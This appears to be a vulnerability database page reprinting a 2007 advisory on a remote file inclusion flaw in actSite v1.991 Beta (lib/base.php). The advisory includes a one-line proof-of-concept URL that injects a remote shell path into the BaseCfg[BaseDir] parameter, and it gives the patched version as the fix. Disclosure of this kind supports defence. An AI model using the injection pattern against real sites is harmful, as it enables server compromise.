Lucene search

actsitebase-rfi.txt

🗓️ 02 Oct 2007 00:00:00Reported by DNXType

packetstorm🔗 packetstormsecurity.com👁 26 Views

actSite v1.991 Beta Remote File Inclusion, Discovered by DNX, 02.09.200

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

` \#'#/  
  
(-.-)  
  
---------------------oOO---(_)---OOo--------------------  
  
| actSite v1.991 Beta (base.php) Remote File Inclusion |  
  
| coded by DNX |  
  
--------------------------------------------------------  
  
[!] Discovered: DNX  
  
[!] Vendor: http://www.actsite.de  
  
[!] Detected: 02.09.2007  
  
[!] Reported: 02.09.2007  
  
[!] Remote: yes  
  
  
  
[!] Background: actSite is a content management system based on PHP and MySQL  
  
  
  
[!] Bug: $BaseCfg[BaseDir] in lib/base.php  
  
  
  
[!] PoC:   
  
- http://[site]/[path]/lib/base.php?BaseCfg[BaseDir]=[shell]  
  
  
  
[!] Solution: Install update to v1.995  
  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

02 Oct 2007 00:00Current

7.4High risk

Vulners AI Score7.4